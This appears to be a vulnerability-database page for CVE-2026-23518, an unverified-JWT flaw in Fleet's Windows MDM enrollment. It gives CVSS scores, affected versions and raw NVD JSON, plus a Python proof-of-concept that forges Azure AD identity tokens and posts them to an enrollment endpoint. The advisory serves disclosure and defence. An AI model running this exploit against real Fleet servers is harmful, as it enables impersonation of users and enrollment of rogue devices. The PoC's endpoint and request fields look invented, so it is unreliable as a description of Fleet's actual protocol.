Security Vulnerability Report
中文
CVE-2026-23518 CVSS 9.8 CRITICAL

CVE-2026-23518

Published: 2026-01-21 22:15:50
Last Modified: 2026-02-27 16:14:59

Description

Fleet is open source device management software. In versions prior to 4.78.3, 4.77.1, 4.76.2, 4.75.2, and 4.53.3, a vulnerability in Fleet's Windows MDM enrollment flow could allow an attacker to submit forged authentication tokens that are not properly validated. Because JWT signatures were not verified, Fleet could accept attacker-controlled identity claims, enabling enrollment of unauthorized devices under arbitrary Azure AD user identities. Versions 4.78.3, 4.77.1, 4.76.2, 4.75.2, and 4.53.3 fix the issue. If an immediate upgrade is not possible, affected Fleet users should temporarily disable Windows MDM.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fleetdm:fleet:4.77.0:*:*:*:*:*:*:* - VULNERABLE
Fleet < 4.78.3
Fleet < 4.77.1
Fleet < 4.76.2
Fleet < 4.75.2
Fleet < 4.53.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import jwt import requests import json from datetime import datetime, timedelta # CVE-2026-23518 PoC - Fleet JWT Signature Bypass # Target: Fleet Windows MDM Enrollment Endpoint TARGET_URL = "https://fleet-server.com/api/v1/mdm/enroll" FAKE_AZURE_AD_USER = "[email protected]" FAKE_USER_ID = "00000000-0000-0000-0000-000000000001" def create_forged_jwt(): """ Create a forged JWT token with attacker-controlled identity claims Fleet server does not verify the signature, accepting any token """ # JWT Header - Algorithm set to none (unsigned) or any algorithm header = { "alg": "RS256", # Can be any algorithm, signature not verified "typ": "JWT" } # Malicious payload with forged Azure AD identity payload = { "sub": FAKE_USER_ID, "email": FAKE_AZURE_AD_USER, "name": "Fake Admin User", "preferred_username": FAKE_AZURE_AD_USER, "oid": FAKE_USER_ID, "iss": "https://login.microsoftonline.com/fake-tenant/v2.0", "aud": "api://FleetMDM", "iat": int(datetime.utcnow().timestamp()), "exp": int((datetime.utcnow() + timedelta(hours=1)).timestamp()) } # Forged signature - Fleet does not verify this forged_signature = "FAKE_SIGNATURE_THAT_WILL_NOT_BE_VERIFIED" # Construct the forged JWT token token = jwt.encode(payload, "fake-key", algorithm="HS256", headers=header) # Alternative: Use unsigned token (alg: none) # token = jwt.encode(payload, "", algorithm="none", headers={"alg": "none", "typ": "JWT"}) print(f"[+] Generated forged JWT token: {token[:50]}...") return token def exploit_fleet_mdm_enrollment(forged_token): """ Submit forged JWT token to Fleet Windows MDM enrollment endpoint """ headers = { "Content-Type": "application/json", "X-Device-Auth": "Windows", "Authorization": f"Bearer {forged_token}" } enrollment_data = { "device_id": "FAKE-DEVICE-ID-" + str(datetime.utcnow().timestamp()), "device_type": "windows", "enrollment_type": "mdm", "identity_token": forged_token } print(f"[+] Sending enrollment request to {TARGET_URL}") try: response = requests.post(TARGET_URL, json=enrollment_data, headers=headers, verify=False, timeout=30) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if response.status_code == 200 or response.status_code == 201: print("[+] SUCCESS: Device enrolled with forged identity!") print(f"[+] Device now associated with Azure AD user: {FAKE_AZURE_AD_USER}") return True else: print("[-] Enrollment failed or target not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("="*60) print("CVE-2026-23518 - Fleet JWT Signature Bypass PoC") print("="*60) forged_token = create_forged_jwt() exploit_fleet_mdm_enrollment(forged_token) print("\n[!] Note: This PoC demonstrates the vulnerability for authorized testing only")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23518", "sourceIdentifier": "[email protected]", "published": "2026-01-21T22:15:50.140", "lastModified": "2026-02-27T16:14:59.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fleet is open source device management software. In versions prior to 4.78.3, 4.77.1, 4.76.2, 4.75.2, and 4.53.3, a vulnerability in Fleet's Windows MDM enrollment flow could allow an attacker to submit forged authentication tokens that are not properly validated. Because JWT signatures were not verified, Fleet could accept attacker-controlled identity claims, enabling enrollment of unauthorized devices under arbitrary Azure AD user identities. Versions 4.78.3, 4.77.1, 4.76.2, 4.75.2, and 4.53.3 fix the issue. If an immediate upgrade is not possible, affected Fleet users should temporarily disable Windows MDM."}, {"lang": "es", "value": "Fleet es software de gestión de dispositivos de código abierto. En versiones anteriores a 4.78.3, 4.77.1, 4.76.2, 4.75.2 y 4.53.3, una vulnerabilidad en el flujo de inscripción de MDM de Windows de Fleet podría permitir a un atacante enviar tokens de autenticación falsificados que no se validan correctamente. Debido a que las firmas JWT no se verificaban, Fleet podría aceptar reclamaciones de identidad controladas por el atacante, permitiendo la inscripción de dispositivos no autorizados bajo identidades de usuario arbitrarias de Azure AD. Las versiones 4.78.3, 4.77.1, 4.76.2, 4.75.2 y 4.53.3 solucionan el problema. Si una actualización inmediata no es posible, los usuarios de Fleet afectados deberían deshabilitar temporalmente Windows MDM."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.53.3", "matchCriteriaId": "58B2870D-823A-4862-A51B-B3F86C60D89B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.75.0", "versionEndExcluding": "4.75.2", "matchCriteriaId": "E363A7DF-0880-44B8-82A6-0192D1D43471"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.76.0", "versionEndExcluding": "4.76.2", "matchCriteriaId": "53B5B8B6-F8C9-45E2-A160-D5834B1F3D61"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fleetdm:fleet:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.78.0", "versionEndExcluding": "4.78.3", "matchCriteriaId": "B8118C02-5CB2-45D3-AE6E-90313FB29720"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fleetdm:fleet:4.77.0:*:*:*:*:*:*:*", "matchCriteriaId": "AE525B6A-8AF1-4D33-8EE9-FFD6A1C4F3F8"}]}]}], "references": [{"url": "https://github.com/fleetdm/fleet/commit/e225ef57912c8f4ac8977e24b5ebe1d9fd875257", "source": "[email protected]", "tags ... (truncated)